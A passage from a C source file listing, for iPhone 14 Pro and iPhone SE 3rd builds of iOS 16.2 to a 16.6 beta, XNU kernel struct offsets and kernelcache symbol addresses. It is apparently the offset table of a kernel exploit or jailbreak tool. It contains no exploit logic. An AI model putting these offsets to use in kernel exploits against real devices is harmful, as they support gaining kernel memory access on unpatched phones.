.fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a579a30,\n        .kernelcache__gPhysBase = 0xfffffff0079602a8,\n        .kernelcache__gPhysSize = 0xfffffff0079602a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00795e460,\n        .kernelcache__perfmon_devices = 0xfffffff00a5b9550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f35b9c,\n        .kernelcache__ptov_table = 0xfffffff0079139c0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a5b8910,\n        .kernelcache__vm_pages = 0xfffffff007910110,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007912970,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a5b8908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f820b8,\n    },\n // End iPhone SE 3rd //\n// End iPhone 14, iPhone 14 Plus, iPhone 13 Pro, iPhone 13 Pro Max, iPhone 13 Mini, iPhone SE 3rd series //\n\n\n\n// Start iPhone 14 Pro, iPhone 14 Pro Max series //\n // Start iPhone 14 Pro //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a321190,\n        .kernelcache__gPhysBase = 0xfffffff007853fd8,\n        .kernelcache__gPhysSize = 0xfffffff007853fd8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078521b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a35c390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce7c,\n        .kernelcache__ptov_table = 0xfffffff0078073d0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a35b800,\n        .kernelcache__vm_pages = 0xfffffff007804090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806390,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a35b7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1cea4,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:01 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a32d190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c0,\n        .kernelcache__gPhysSize = 0xfffffff0078540c0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a0,\n        .kernelcache__perfmon_devices = 0xfffffff00a368390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce10,\n        .kernelcache__ptov_table = 0xfffffff007807410,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a367800,\n        .kernelcache__vm_pages = 0xfffffff0078040d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078063d0,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3677f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1ce28,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:01 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a32d190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c0,\n        .kernelcache__gPhysSize = 0xfffffff0078540c0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a0,\n        .kernelcache__perfmon_devices = 0xfffffff00a368390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce10,\n        .kernelcache__ptov_table = 0xfffffff007807410,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a367800,\n        .kernelcache__vm_pages = 0xfffffff0078040d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078063d0,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3677f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1ce28,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:19 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a411208,\n        .kernelcache__gPhysBase = 0xfffffff007933ed0,\n        .kernelcache__gPhysSize = 0xfffffff007933ed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079320a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a44f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecd3c,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a44e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a44e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3960c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:19 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a411208,\n        .kernelcache__gPhysBase = 0xfffffff007933ed0,\n        .kernelcache__gPhysSize = 0xfffffff007933ed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079320a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a44f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecd3c,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a44e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a44e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3960c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419208,\n        .kernelcache__gPhysBase = 0xfffffff007934010,\n        .kernelcache__gPhysSize = 0xfffffff007934010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079321e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a457500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecfc0,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a456990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a456988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f39b28,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:35 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8120\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone15,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        